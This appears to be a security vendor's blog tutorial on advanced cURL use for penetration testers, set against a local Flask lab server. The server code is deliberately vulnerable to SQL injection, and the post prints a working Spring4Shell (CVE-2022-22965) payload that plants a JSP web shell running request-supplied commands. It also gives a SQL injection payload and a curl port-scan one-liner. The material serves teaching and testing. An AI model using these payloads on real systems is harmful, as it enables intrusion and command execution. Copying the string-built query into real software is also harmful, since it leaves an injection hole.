cURL For The Pentester: Above & Beyond
Advanced & Uncommon features of cURL including sending POST requests, uploading to servers, Spring4Shell, & SQL injections.
Okay, everybody has used cURL before. It’s ubiquitous across the infosec realm and probably one of the most popular command line tools in existence. It’s also literally on the ISS.
Did you know you can interact with LDAP using cURL? How about NTLM, proxy tunneling, or domain sockets?!
Introduction
In this article, I want to show you some less common and advanced features of cURL, including:
- Sending POST requests with a payload file
- Uploading files to a server
- Exploiting Spring4Shell
- Exploiting SQL injection vulnerabilities using cURL
- Bonus
To make this a bit more interactive and for your viewing pleasure, let’s set up a super simple Python Flask web server with a few endpoints to see how these cURL requests look from a request and response view. If you want to follow along with these exercises (recommended), you’ll need the following packages:
Flask
sqlite3
json
Now for our server, copy and paste the following code and save it as server.py
:
from flask import Flask, request, send_file
import sqlite3
import json
app = Flask(__name__)
@app.route('/', methods=['POST'])
def index():
user_agent = request.headers.get('User-Agent')
content_type = request.headers.get('Content-Type')
if content_type == 'application/json':
data = request.get_json()
print("User-Agent: ", user_agent)
print("Content-Type: ", content_type)
print("Data", json.dumps(data, indent=4))
return "Payload Recevied: Check terminal"
elif content_type.startswith('multipart/form-data'):
file = request.files['file']
file_contents = file.read().decode('utf-8')
print("User-Agent: ", user_agent)
print("Content-Type: ", content_type)
print("Got Image! ", file_contents)
return "Success"
@app.route('/image')
def get_image():
return send_file('image.png', as_attachment=True)
@app.route("/query")
def search():
query = request.args.get("query")
connection = sqlite3.connect("users.db")
cursor = connection.cursor()
cursor.execute("SELECT * FROM users WHERE name LIKE '%" + query + "%'")
results = cursor.fetchall()
connection.close()
return str(results)
if __name__ == '__main__':
app.run()
We’ve modified a common Flask template to output the User-Agent, Content-Type, and the data sent to the server. It’ll also accept file uploads and print those to the terminal, as well as being vulnerable to SQL injection!
Run the server: python3 server.py
To make sure everything’s gravy, give it a quick test with the following curl command:
curl -X POST -H "Content-Type: application/json" -d '{"snack": "sushi"}' http://localhost:5000/
You should see something like the following:
Okay, let’s get started…
POSTing data with a Payload File
One common use case for cURL is to send HTTP POST requests with a payload. Instead of manually entering the payload data on the command line as we did in our example, store it in a file and use the -d
option:
For example:
curl -X POST -d @snack.json -H "Content-Type: application/json"
In this case, cURL will send a POST request to our server with the data from our snack.json
file:
Keen readers will notice my user-agent and some pretty printing to stdout. Stick around, and I’ll show you how 🙂
icon-alert-triangle:
Notice we are explicitly passing the -H "Content-Type: application/json" header. We’re just making sure our server knows the type of data that’s coming its way! This isn’t necessary with our Flask application as we inspect the incoming Content-Type. However, if you’re trying this against a real target and getting errors, setting this explicitly may help.
Uploading Files to a Server
You can use cURL to upload files to a server. Pass the -F
option to specify the file:
For example:
curl -X POST -F "file=@charizard.png"
Let’s check the server output:
And just to verify our upload worked:
Looking Back: Exploiting Spring4Shell with cURL & Config Files
To see how you can exploit Spring4Shell using cURL, I put some slick instructions up on my GitHub that combines everything we’ve covered so far:
queencitycyber / Spring4Shell-cURL
Weaponzing cURL configs to exploit Spring4Shell (CVE-2022-22965)
https://github.com/queencitycyber/Spring4Shell-cURL
In short, you can pass the --config
option to cURL that points to a file that looks like this:
curl --config request.txt http://localhost:5000/
And the requests.txt
contents:
header = "Accept-Encoding: gzip, deflate"
header = "Accept: */*""
header = "Connection: close"
header = "suffix: %>//"
header = "c1: Runtime"
header = "c2: <%"
header = "DNT: 1"
header = "Content-Type: application/x-www-form-urlencoded"
proxy = localhost:8081
data-binary = "@body.txt"
Notice that the last line, data-binary = "@body.txt"
points to another file titled body.txt
that has something like this inside, which is what get’s sent to the server:
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/stupidRumor_war&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
I’ve had lots of fun fuzzing web applications using the technique above.
Port Scanning
On a recent engagement, I had access to a Linux host without many core utilities. By that I mean, no ss, netcat, netstat, or lsof. But I did have curl :) After some adjustments from this awesome article, I had a port scanner (albeit slow) in curl to enumerate open ports:
for i in {1..65535}; do curl -s -m 1 localhost:$i >/dev/null; if [ ! $? -eq 7 ] && [ ! $? -eq 28 ]; then echo open: $i >> ports.txt; fi; done
SQLi with cURL
Let’s run a quick Python script to populate a SQLite database with some information and use cURL to return that information:
import sqlite3
conn = sqlite3.connect("users.db")
cursor = conn.cursor()
cursor.execute("""CREATE TABLE IF NOT EXISTS users (
name TEXT,
email TEXT
)""")
users = [
('Marlo Stanfield', 'thablock@youwishyouknew.com'),
('Elim Garak', 'tailorshop@ds9.com'),
('Frasier Crane', '1901@elliotbay.com'),
('Ben Sisko', 'bsisko@ds9.com')
]
cursor.executemany("""INSERT INTO users (name, email)
VALUES (?,?)""", users)
conn.commit()
conn.close()
A simple request to the query
endpoint returns a JSON array with a user’s address:
Of course, there are a million different and better ways to exploit SQL injection vulnerabilities. I’m just here to show you that you can :)
In the last command, we queried just one user. But let’s execute the following command to get all user’s using a popular SQL injection payload:
curl "<http://localhost:5000/query?query=%25'%20AND%201=1%20AND%20'sprocket%25'='sprocket>"
You should get back the following data:
If you want to try your newfound cURL skills on harder targets, I’d suggest OWASP’s JuiceShop. That’s all for now!
Bonus
Oh, here’s your bonus! Put this into your .curlrc
file if you want output and headers like mine:
-w "\\nstatus=%{http_code} %{redirect_url} size=%{size_download} time=%{time_total} content-type=\\"%{content_type}\\"\\n"
-A "Debug-ChromeV001"
For further customizations, check out the venerable founder's article here:
Curl offers a feature we call "config file". It allows you to write command-line options in a text file instead and then tell curl to read options from that file in addition to the command line.
Continuous Human & Automated Security
The Expert-Driven Offensive
Security Platform
Continuously monitor your attack surface with advanced change detection. Upon change, testers and systems perform security testing. You are alerted and assisted in remediation efforts all contained in a single security application, the Sprocket Platform.
Expert-Driven Offensive Security Platform
- Attack Surface Management
- Continuous Penetration Testing
- Adversary Simulations